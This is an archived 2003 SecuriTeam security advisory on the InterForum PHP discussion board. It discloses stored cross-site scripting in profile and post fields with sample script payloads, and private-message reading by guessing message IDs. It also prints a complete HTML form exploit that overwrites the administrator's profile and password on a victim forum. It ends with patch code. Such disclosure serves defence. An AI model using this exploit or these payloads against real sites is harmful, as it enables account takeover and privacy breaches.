

[UNIX] InterForum Contains Multiple Vulnerabilities (CSS, Private Message Reading, Admin Privileges)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0089.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/24/03

To: list@securiteam.com

Date: 24 Jun 2003 18:08:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

InterForum Contains Multiple Vulnerabilities (CSS, Private Message Reading, Admin Privileges)

SUMMARY

<<http://www.hotscripts.com/Detailed/20252.html>> InterForum is a discussion board built with PHP and MySQL. InterForum is feature packed, with abilities such as: User selectable skins, User's Online Display, BBCode, Smiles, and HTML blocking, Extensive Admin Center, Easy Installation, and much More. Multiple vulnerabilities have been found in the product allowing remote attackers to cause the server to insert malicious HTML and JavaScript into existing pages, to read private messages, and gain elevated privileges (administrative privileges).

DETAILS

Cross Site Scripting Vulnerability:

In the profile editing page

(<http://localhost/in/member.php?action=editpro>) it is possible to insert malicious HTML or JavaScript into the following fields (script will be

Securiteam: [UNIX] InterForum Contains Multiple Vulnerabilities (CSS, Private Message Reading, Admin Privileges)

executed whenever another user views the attacking user's profile).

E-Mail : `< script>alert('XSS bug')</script>`
Site: `< script>alert('XSS bug')</script>`
Aim: `< script>alert('XSS bug')</script>`
ICQ: `< script>alert('XSS bug')</script>`
Location: `< script>alert('XSS bug')</script>`

A cross site scripting vulnerability is also present in the following fields of new messages and topic:

Fill in the subject : `< ;script>alert('XSS bug')</script>`
Fill in the text : `< script>alert('XSS bug')</script>`

Private Message Reading:

It is possible to read private messages stored on the site by guessing their number and inputting that number into the following URL:
[http://localhost/in/pm.php?action=read&pmid=\[fill in here an integer number\]](http://localhost/in/pm.php?action=read&pmid=[fill in here an integer number]).

Administrative Privileges Gaining:

It is possible to gain elevated privileges by modifying the administrator's profile (it is possible to change any profile you desire).

Exploit :

Log into the forum with your account. Copy and save as exploit.htm the following code:

```
< html>
< head>
< title>Mask_NBTA ' s exploit</title>
</head>
< body>
< p>< br>
</p>
< table class="headerborder" style="BORDER-TOP: 1px solid;
BORDER-LEFT-WIDTH: 1px; BORDER-BOTTOM-WIDTH: 1px; BORDER-RIGHT-WIDTH: 1px"
cellSpacing="0" cellPadding="0" width="98%" align="center" border="0">
  < tr>
    < td>
      < b>< font face="Tahoma" size="5">EXPLOIT (Code by
Mask_NBTA)</font></b></td>
    </tr>
  </table>
< form
action="http://VICTIM/FORUM/member.php?action=editpro&editlogssubmit=1"
method="post">
  < table cellSpacing="0" cellPadding="0" width="98%" align="center"
border="0">
    < tr>
      < td bgColor="#ffffff">
        < table cellSpacing="1" cellPadding="3" width="746" border="0"
height="325">
```

```

    < tr class="header">
      < td colSpan="2" width="738" height="18">< font
face="verdana,tahoma">
</font></td>
    </tr>
    < tr class="tablerow" bgColor="#d4d4de">
      < td width="274" height="22">< font face="verdana,tahoma"
size="2">Username : </font></td>
      < td width="457" height="22">
        < input type="text" value="another account here "
name="username" size="30"></td>
    </tr>
    < tr class="tablerow" bgColor="#d4d4de">
      < td width="274" height="22">< font face="verdana,tahoma"
size="2">Password:</font></td>
      < td width="457" height="22">< input size="30"
name="passwordnew"></td>
    </tr>
    < tr class="tablerow" bgColor="#d4d4de">
      < td width="274" height="22">< font face="verdana,tahoma"
size="2">E-Mail:</font></td>
      < td width="457" height="22">< input size="30"
name="email"></td>
    </tr>
    < tr class="tablerow" bgColor="#d4d4de">
      < td width="274" height="22">< font face="verdana,tahoma"
size="2">Site:</font></td>
      < td width="457" height="22">< input size="30" name="site"></td>
    </tr>
    < tr class="tablerow" bgColor="#d4d4de">
      < td width="274" height="21">< font face="verdana,tahoma"
size="2">Aim:</font></td>
      < td width="457" height="21">< input size="30" name="aim"></td>
    </tr>
    < tr class="tablerow" bgColor="#d4d4de">
      < td width="274" height="22">< font face="verdana,tahoma"
size="2">ICQ:</font></td>
      < td width="457" height="22">< input size="30" name="icq"></td>
    </tr>
    < tr class="tablerow" bgColor="#d4d4de">
      < td width="738" colspan="2" height="19"> </td>
    </tr>
    < tr class="tablerow" bgColor="#d4d4de">
      < td width="274" height="68">< font face="verdana,tahoma"
size="2">Signature:</font></td>
      < td width="457" height="68">< textarea name="sig" rows="4"
cols="30"></textarea></td>
    </tr>
    < tr class="tablerow" bgColor="#d4d4de">
      < td width="738" colspan="2" height="19"> </td>
    </tr>

```

```
</table>
</td>
</tr>
</table>
< center>
< p>< input type="submit" value="Change now" name="editsubmit"></p>
</center> < input type="hidden" value="admin" name="password"></form>
<p>< br>
</p>
< div align="center">
  < font face="verdana,tahoma" size="1"><br>
</font></div>
<p> </p>
</body>
</html>
```

To use the HTML exploit code you to change VICTIM/FORUM to the one used by the server path. And click on the "Change now" button.

Workaround:

Open file member.php, add these lines :

```
$location = htmlspecialchars($location);
$icq = htmlspecialchars($icq);
$yahoo = htmlspecialchars($yahoo);
$aim = htmlspecialchars($aim);
$email = htmlspecialchars($email);
$site = htmlspecialchars($site);
```

Open pm.php, add these line :

```
$subject = htmlspecialchars($subject);
$message = htmlspecialchars($message);
```

Open file member.php , file these lines :

```
-----
..
if($action == "editpro")
{
  $queryusr = mysql_query("SELECT * FROM if_users WHERE
username='$thisuser'") or die(mysql_error());
  $usr = mysql_fetch_array($queryusr);
  $status = $usr[status];
..
-----
```

Replace by:

```
-----
//Mask_NBTA's fix
if($action == "editpro")
{
if ($thisuser!=$username)
{
```

Securiteam: [UNIX] InterForum Contains Multiple Vulnerabilities (CSS, Private Message Reading, Admin Privileges)

```
die ("no hacking please");
}
$queryusr = mysql_query("SELECT * FROM if_users WHERE
username='$thisuser'") or die(mysql_error());
$usr = mysql_fetch_array($queryusr);
$status = $usr[status];
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:mask_nbta_83@yahoo.com>
Mask_NBTA.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.